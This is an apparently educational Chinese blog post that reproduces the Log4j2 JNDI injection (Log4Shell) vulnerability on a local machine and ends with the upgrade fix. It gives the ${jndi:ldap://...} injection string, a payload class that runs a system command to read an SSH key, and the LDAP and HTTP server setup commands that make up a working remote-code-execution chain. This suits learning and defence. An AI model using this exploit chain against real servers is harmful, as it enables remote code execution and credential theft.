Apache Log4j2高危JNDI注入漏洞曝光:远程代码执行复现

2023年 7月 10日 58.9k 0

写在前面

2021年12月9日晚间,网上发生了一件大事,一个核弹级高危漏洞被曝光:Apache-Log4j2组件存在JNDI注入漏洞,攻击者无需特殊配置,即可利用该漏洞在目标服务器上执行任意代码。Log4j2是一款优秀的Java日志框架,被大量用于业务系统开发,用来记录日志信息。经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等组件均受影响,百度、苹果等公司的产品也存在以上问题。

以百度为例,通常,我们在百度中搜索一个找不到结果的关键词,会得到以下提示:

Apache Log4j2高危JNDI注入漏洞曝光:远程代码执行复现

但在输入我们构造好的注入攻击语句${jndi:ldap://example.com}时,是这样的效果:

Apache Log4j2高危JNDI注入漏洞曝光:远程代码执行复现

我猜想是百度后台临时加入一些逻辑简单地堵住了这个缺口,但没有从根本上完全修复。今天早上看到公众号「信安之路」上的推文得知此事,也来凑一下热闹。为了对这个漏洞的危害有一个直观的感受,我在此记录一下本地模拟复现这个漏洞的过程。我的实验环境使用的是一台Mac电脑,本地安装有java的执行环境,以及IntelliJ集成开发环境,Python的版本是3.x。由于我对网络安全基本不怎么了解,若有疏漏还请大家多批评。

复现漏洞

存在漏洞的版本为:Apache Log4j 2.x Project Structure > Project Settings-Modules处添加JARs,文件就在刚才解压好的文件夹里。这里最好把log4j-api-2.12.1.jar、log4j-core-2.12.1.jar、log4j-1.2-api-2.12.1.jar都导入进来。

Apache Log4j2高危JNDI注入漏洞曝光:远程代码执行复现

然后在src文件夹下创建log4j2.xml文件,作为log4j的配置文件,控制输出的格式。注意log4j的1版本可以使用 .properties后缀的文件进行配置,2版本只支持xml和json。



    
        
            
        
    
    
        
            
        
    

然后在src文件夹下创建Hack.java源文件,内容如下:

import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class Hack {
    private static final Logger logger = LogManager.getLogger(Hack.class);
    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        logger.error("${jndi:ldap://127.0.0.1:1389/Log4jRCE}");
    }
}

这个文件模拟的就是使用Log4j2框架的网站服务器程序。很多网站使用Java作为后端开发语言,网页中又具有提交表单的输入框,出于调试需要很可能会将输入框的内容通过logger进行输出。我们省略网页的逻辑,将输入框中的注入攻击语句直接作为参数传递给logger.error函数。

然后选择一个其他的目录(与Hack.java不同目录),创建Log4jRCE.java文件。这个文件就是我们想要服务器执行的代码,我们可以在这个文件中尝试调用系统命令,这里以输出电脑的SSH公钥为例。

import java.io.BufferedReader;    
import java.io.IOException;    
import java.io.InputStream;    
import java.io.InputStreamReader;    
   
public class Log4jRCE {    
    static {
        System.out.println("I am Log4jRCE from remote!!!");
        Process p;
        String [] cmd = {"cat", "/Users/MAC/.ssh/id_rsa.pub"}; 
        try {
            p = java.lang.Runtime.getRuntime().exec(cmd);
            InputStream fis = p.getInputStream();
            InputStreamReader isr = new InputStreamReader(fis);    
            BufferedReader br = new BufferedReader(isr);    
            String line = null; 
            while((line=br.readLine())!=null) {
                 System.out.println(line);
            }
        }    
        catch (IOException e) {    
             e.printStackTrace();
        }
     }    
}

然后编译一下这个程序得到字节码文件Log4jRCE.class,命令如下:

javac Log4jRCE.java

然后我们在这个文件夹下打开控制台(保证服务器根目录下有Log4jRCE.class文件),启动Python自带的HTTP服务器:

python3 -m http.server 127.0.0.1:8888
----------------------------------------------------------------
Serving HTTP on 127.0.0.1 port 8888 (http://127.0.0.1:8888/) ...

接着我们还需要在本地启动一个LDAP服务器(这两个服务器都是在攻击者电脑上的):

git clone git@github.com:bkfish/Apache-Log4j-Learning.git
cd Apache-Log4j-Learning/tools
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE"

然后我们运行IntelliJ里的Hack.java模拟注入攻击提交表单的那一刻,服务器端使用log4j2输出日志,结果为:

Apache Log4j2高危JNDI注入漏洞曝光:远程代码执行复现

可以看到,机器的公钥已经在服务器上被输出了。当然这并没有什么意义,但如果我们的Log4jRCE的逻辑是通过网络通信将私钥发送给指定服务器(攻击者的电脑),那么就会出现严重的安全问题。

总结一下攻击过程,攻击者在网页表单的输入框里输入注入攻击语句,在提交表单时,被服务器端的Log4j框架作为日志输出,但由于该库的某些解析构造漏洞,会把${}括号中的语句作为命令执行。攻击者的注入攻击语句经过解析会先访问ldap服务器,然后由ldap解析出我们要的文件名为Log4jRCE,ldap向HTTP服务器请求获取这个文件,最后网站服务器在本地实例化并执行这个java类,即攻击者的攻击脚本得到执行。

修复方案

将Log4j框架升级到2.15.0版本:org/apache/logging/log4j/log4j-core/2.15.0(感谢

@blindpirate

指正,稳定的GA版本已在今晚18:26发布,链接已更新),并升级已知受影响的应用及组件,如 spring-boot-strater-log4j2 / Apache Solr / Apache Flink / Apache Druid。

Apache Log4j2高危JNDI注入漏洞曝光:远程代码执行复现

参考文献

  • 关于JNDI的更多介绍可以参考:攻击Java中的JNDI、RMI、LDAP
  • 关于log4j2漏洞源代码的具体分析过程可以参考:Apache Log4j2远程代码执行漏洞

相关文章

Mallox勒索软件新Linux变种现世
伪装成破解程序和商业工具的新型恶意软件正在传播
Orcinius后门新样本分析
Poseidon窃取程序通过Google广告感染Mac用户
大选开始之际,欧盟各政党遭受 DDoS 攻击
微软2024

发布评论